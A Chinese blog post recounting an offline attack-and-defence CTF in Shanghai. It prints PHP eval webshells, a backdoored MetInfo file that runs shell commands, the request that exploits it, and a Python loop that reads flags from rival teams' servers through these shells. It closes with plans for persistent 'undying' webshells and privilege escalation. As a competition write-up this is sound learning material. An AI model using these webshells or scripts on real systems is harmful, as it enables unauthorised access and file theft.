2018.11.24上海市网络安全大赛线下AWD感想杂谈

第一次参加线下赛,虽然对web方面的知识目前还不是很懂,这次比赛主要是去长长见识,并成功入坑web

比赛是9:30正式开始,大约在9:00的时候就到现场打开电脑进行准备操作了,期间是介绍某某嘉宾的开幕式不用管。这时候先把要启动的虚拟机软件啥的先准备好,然后仔细去阅读主办方下发的比赛材料。这里贴一下这次比赛我们的文档作为样例,理解全场环境的网络拓扑环境。把网线插上DHCP或者按照主办方要求修改IP,我们是到9:30开始的时候才DHCP出来正常的ip可以访问平台,结果对面dalao已经扫源码直接找到洞开始挂马了,结果接下来备份WEB目录的都是有马的。。。

把比赛纸质文档的服务器ip,密码;flag提交平台的token手打到电脑里面便于之后复制。

在这里简单说一下自己在比赛中做的,希望dalao们能多多批评指正补充!

主办方没有给主机的root权限,两台web服务器一台pwn服务器。

我们刚能连上服务器的时候对面dalao就在说,“哎这一扫就这么多洞,这个cms我前几天刚用来着,赶紧拿exp出来。。。”

连接上服务器之后,首先使用WINSCP把/var/www/html里面的站页面拷到本地备份,进行源码审计并且防止别人删站。因为自己对web方面还不是很懂,所以一开始就是报着骑马的心态来的。思路就是上文件监控py脚本,循环遍历当前目录下所有php文件的时间戳,如果有在180分钟之内修改过的文件则对文件在log里面记录并删除,自己还不会去日别人,先得知道别人是怎么日的自己= =||。结果一扫就发现对面队伍已经给我们植了不死马,还不会处理。。就一直被打。打开while true写出来的马发现是有key的,就是说连接每台机器的参数名不同,这种是没法骑的除非你知道了他怎么算的hash。。。贴一下这个一句话吧。。:

<?php eval($_REQUEST[513be9a0383f98fbd3d0815f2a25e659]);?>

这样没法骑。。

不过过了一会文件监控脚本又有了提示:

<?php/**/@eval([gml]);?>

 这个就很舒服了,直接就可以用,赶紧去写脚本去扫,一下拿到了好多flag,结果发现手交flag都要耗掉半轮的时间(忘了说一轮5min)。所以肯定要按照文件里面说的写自动提交脚本(我用py写的挺慢,期间脚本for循环还写错了。。看来还需要继续修炼,之后问其他人说用bash写更好一些。)。

然后过了一段时间去py对面队,他们透露说网站自己就有自带后门,于是找到/html/hits/index.php这个家伙

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$a = @$_GET['a'] ? $_GET['a'] : 'dohits';
if($a[0]==md5($a[1])) echo `cat $a[1]`;
define('M_NAME', 'hits');
define('M_MODULE', 'web');
define('M_CLASS', 'hits');
define('M_ACTION', 'dohits');
require_once '../app/system/entrance.php';

# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

(我们队就两个人,比赛的过程中感觉就是分身乏术。。) 

构造:

r = requests.get(url = 'http://172.16.5.{}:5067/hits/index.php?a[0]=0bc7be346d4df269543565b6b7cd231a&a[1]=/flag'.format(str(a)))

最后写了一个很辣鸡的自动得分脚本,挂在后面跑,因为一轮就五分钟,看看别的就错过了。。。

import requests
import time
while True:
	ip = list(range(10,14)) + list(range(15,28)) + list(range(29,40))
	try:
		for a in ip:
			r = requests.post(url = 'http://172.16.5.{}:5067/hits/.config.php'.format(str(a)),data={'fuck':'echo file_get_contents("/flag");'})
			if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
				print('FIRST: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
				r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
				print(r.content.decode('raw_unicode_escape'),end=' ')
			else:
				print(str(a),end=' ')


			r = requests.post(url = 'http://172.16.5.{}:5067/.Gml.php'.format(str(a)),data={'gml':'echo file_get_contents("/flag");'})
			if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
				print('SECOND: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
				r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
				print(r.content.decode('raw_unicode_escape'),end=' ')
			else:
				print(str(a),end=' ')


			r = requests.post(url = 'http://172.16.5.{}:5067/hits/.Gml.php'.format(str(a)),data={'gml':'echo file_get_contents("/flag");'})
			if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
				print('THIRD: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
				r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
				print(r.content.decode('raw_unicode_escape'),end=' ')
			else:
				print(str(a),end=' ')


			r = requests.post(url = 'http://172.16.5.{}:5067/hits/index.php'.format(str(a)),data={'gml':'echo file_get_contents("/flag");'})
			if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
				print('FOUR: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
				r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
				print(r.content.decode('raw_unicode_escape'),end=' ')
			else:
				print(str(a),end=' ')

			time.sleep(2)
			r = requests.get(url = 'http://172.16.5.{}:5067/hits/index.php?a[0]=0bc7be346d4df269543565b6b7cd231a&a[1]=/flag'.format(str(a)))
			if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
				print('FIFTH: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
				r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
				print(r.content.decode('raw_unicode_escape'),end=' ')
			else:
				print(str(a),end=' ')

			print('\n')
	except:
		print('err')
	time.sleep(100)

凑合着看吧= = ||

然后打着打着发现web1的服务down掉了。。心想我和队友也没动,怎么会down了?一看积分版,发现几乎全场都down了,就剩了一个队,去年的场景又浮现在眼前(去年是观众)。然后那个队伍直接超过了我们对面的dalao。这一down,down的我们全场都懵了,最后听对面dalao说,是mysql数据库的密码被改了,每个队伍的sql密码是一样的!(这应该是主办方的失误,密码不应该是一样的,更不应该是可以更改的!)down掉之后,我们不知道怎么办,因为密码被改我们不知道该怎么去修。(能不能读配置文件找到??)于是去重置服务器,打算重置之后赶紧更改sql密码,这个队友一直在改,由于命令不熟练用手机百度了好久一直没改成,最后一直卡在Permission Denied,可是服务依然是过了几轮就又down。(最后主办方结束之后发言说,这个干扰了游戏体验,裁判在比赛过程中干预且只干预了一次:把所有队伍的密码重置了,并且禁用了密码修改(不过主办方这个地方可能手速不太行,sql密码被第一改了之后禁用了权限,结果我们一直就没法改,还以为是命令不对。。结果就不停的去重置服务器,这里失了好多分。差不多重置了4次。。。))最后就是在最后三十分钟不让重置的节点,我们又重置了一次,并且以down一轮的代价自己down自己把包含数据库密码的php设置成空文件,过了这一轮在放回来。

<?php

/**
 * database configuration file
 */

$database = array (
  'server' => '127.0.0.1',
  'port' => '',
  'user' => 'witycms',
  'pw' => 'HJ1cGFscGFzc3dvc',
  'dbname' => 'witycms',
  'prefix' => 'wity_',
);

?>
/html/system/config/database.php

正是这里。

服务活过来之后每次平分其他队伍的分能涨好多分。最后也算苟在了0分以上。ps:好多负队分的,,,有点吓人。

关于pwn题,认为在线下除非有专门的pwn手不然最好不要去做,其实即使能做也不要做。这次某星队web直接关掉去做pwn,还剩一小时多做出来了,结果exp直接就被“复读机”们直接抓了。(对面dalao给我们在结束的时候讲了下可以1、hook系统调用的write,read来抓,2、利用cve提权,拿到root,自己建立一个沙盒,然后把pwn服务跑在沙盒里面,这样即使对方拿到shell也不能读取到flag。3、写一个程序去模拟这个程序,然后把输入的内容输出到文件,抓对方exp,4、直接流量监控)这样对方花这么长时间做出来之后,直接场里就出现好多复读机。。(可是我连想复读的机会都没有,流量记录做不出,,流量记录这个问题我认为是最值得准备的,这是我们这次比赛主要问题所在,不管是web还是pwn

最后互相交流发现这个是有offbyone,最简单的修复办法是即可。


说的也比较乱,总结一下

比赛之前感觉他应该给root,结果没给,导致好多之前想的骚操作用不了。

web2是自带后门,然后有一个任意文件读:(www/html/app/system/include/module/old_thumb.class.php)

 告诉我这个洞的表哥说,他是流量记录里面看到别人这样打他的,就这么弄了。。。可见流量记录是多么重要。

web1不知道最后有没有人正常解做出来了,不过down全场拿分这个太可怕,去年第一也是down了全场。本次比赛是主办方对sql密码和权限的设置失误,

pwn题是offbyone。感觉线下做pwn不值,自己费劲做了pwn,exp一轮就被复读机拿走了,接下来就成了别人拿分了。。还不如多弄弄web。

第一次线下,也不知道准备什么,所以打的比较难受,对linux,web也不熟悉。不过在过程中骑马也算是乐趣多多。

感觉打webshell我想到的就是两种:

1、文件上传过滤不好,上传了马儿,并且能够可预测上传之后文件的路径和名称,直接访问来使得服务器执行。

2、有文件写入,可以写入指定内容并可以访问。比如sql注入。

*3、拿flag的话还有就是任意文件读。


下次线下需要弄好:

1、文件监控

     刚开始的时候遍历网站目录,把文件结构存下来,把每个文件的MD5存下来,然后不断检测是否有更改

2、流量监控

    没有root权限的/有root权限的流量监控。非常重要!能过记录对方访问的文件,传递参数内容(web)、记录对方的exp(pwn)。我认为难受主要难受在,看着自己被打,却抓不到流量,不知道自己怎么被打的。

3、自动运维脚本

    第一个的加强版,自动修。

4、waf

    一个合理的waf,不过很有可能会被check判down,这个待议。

5、提权

    对面队伍使用cve提权ubuntu16.04成功,有了不少骚操作。

6、代码漏洞扫描工具

    把站放进去能直接显示大部分漏洞。

7、杀不死马

    别人植了马儿得能删掉啊

8、不死马变key生成工具

    防止别人骑马,所以每个队伍连接方法必须要不同。用md5. ,并且骑马过后要尽量维持权限,所以骑了别人的马之后要放上自己更强的不死马。

 

 

现在还是比较乱,过几天在自己服务器上再多练练手再对此文整理。dalao们勿喷,如果有更好看法或者文中存在错误请不吝赐教!

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值